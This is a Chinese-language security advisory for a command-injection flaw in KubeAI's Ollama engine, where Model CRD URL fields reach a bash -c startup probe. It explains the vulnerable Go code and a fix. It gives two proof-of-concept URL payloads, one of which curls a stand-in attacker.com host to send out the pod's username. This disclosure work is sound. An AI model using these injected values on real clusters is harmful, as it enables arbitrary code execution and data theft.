严重程度:高(CVSS 8.7)
CWE:CWE-78 — OS 命令中使用的特殊元素的不当中和
受影响版本:github.com/kubeai-project/kubeai <= 0.23.1
修复版本:0.23.2
安全公告:GHSA-324q-cwx9-7crr
NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-34940
致谢:Romain Deperne
KubeAI 在 Go 中通过 fmt.Sprintf 将 Model CRD 的 URL 组件(ref、modelParam)插值到 bash -c 命令中,从而构造出一个 Kubernetes 启动探针 shell 脚本。URL 中的 shell 元字符未被清理,使得任何拥有 Model CRD 创建/更新 RBAC 权限的用户都能在模型服务器 Pod 内执行任意命令——无需 cluster-admin 权限。
我当时正在研究 Kubernetes AI 推理算子——这类工具允许你通过创建 CRD 将 LLM 部署为 K8s 工作负载。KubeAI 支持 Ollama、vLLM 及其他引擎。我的假设是:如果用户能够创建 Model CRD,他们能否影响模型 Pod 内运行的内容?
vLLM 引擎代码立刻展示了正确的模式:参数以字符串数组形式传递给 exec,不涉及 shell。因此我转而查看 Ollama 引擎作为对比——并发现 fmt.Sprintf("%s %s", pullCmd, u.ref) 被送入 bash -c。典型的 shell 注入配置。
URL 解析正则 [^?]+(除 ? 之外的所有内容)正是问题的关键:分号、反引号、$() 在 u.ref 中都是合法的。我编写了 PoC YAML,应用它,然后观察到 id > /tmp/pwned 在模型 Pod 内执行。
使此问题严重性升级的细微之处在于:在多租户 K8s 集群中,Model CRD 的 RBAC 权限通常被授予那些明确不是 cluster-admin 的团队。这为拥有受限权限的租户提供了一条直接路径,可在模型 Pod 中执行任意代码——包括访问已挂载的 Secret 和 Service Account Token。它跨越了 K8s RBAC 本应强制执行的权限边界。
文件:internal/modelcontroller/engine_ollama.go,第 185–196 行
func ollamaStartupProbeScript(m *kubeaiv1.Model, u modelURL) string {
// u.ref and u.modelParam come from the Model CRD URL field — user controlled
startupScript = fmt.Sprintf(
"%s %s && /bin/ollama cp %s %s",
pullCmd, u.ref, u.ref, m.Name, // u.ref: no sanitization
)
// ...
}
该字符串随后被执行,方式如下:
Command: []string{"bash", "-c", startupProbeScript}
URL 解析器(model_source.go):
var modelURLRegex = regexp.MustCompile(`^([a-z0-9]+):\/\/([^?]+)(\?.*)?$`)
// Capture group 2 ([^?]+) allows any character except '?'
// Shell metacharacters ; | $() ` are all valid
与 vLLM 引擎对比(安全):
// engine_vllm.go — args passed as array, no shell involved
args := []string{"--model=" + vllmModelFlag, "--served-model-name=" + m.Name}
Ollama 引擎走了一条捷径:它将多步 shell 管道构建为字符串,并传递给 bash -c。vLLM 引擎则使用 exec 风格的参数数组。没有任何准入 webhook 或 CRD schema 校验将 URL 字段限制为安全字符。
参见 poc.yaml —— 在运行 KubeAI 且包含 Ollama 模型的集群上,使用 kubectl apply -f poc.yaml 应用。
向量 1 —— ollama:// URL 引用(分号注入):
url: "ollama://registry.example.com/model;id>/tmp/pwned;echo"
生成的启动探针:
/bin/ollama pull registry.example.com/model;id>/tmp/pwned;echo && \
/bin/ollama cp registry.example.com/model;id>/tmp/pwned;echo poc-cmd-inject
id>/tmp/pwned 会执行,并将 uid=0(root)... 写入 Pod 内的 /tmp/pwned。
向量 2 — ?model= 查询参数(带外数据外传):
url: "pvc://my-pvc?model=qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo"
生成的探测:
/bin/ollama cp qwen2:0.5b;curl${IFS}http://attacker.com/$(whoami);echo poc-cmd-inject-pvc
将 Pod 的用户名外传到攻击者控制的服务器。
Model CRD RBAC 权限的用户都可以在模型服务器 Pod 中执行任意命令将 bash -c <string> 替换为以数组形式传递参数的 exec 风格探针(vLLM 引擎已经这样做了),或在插值前用 ^[a-zA-Z0-9._:/-]+$ 校验 URL 字段。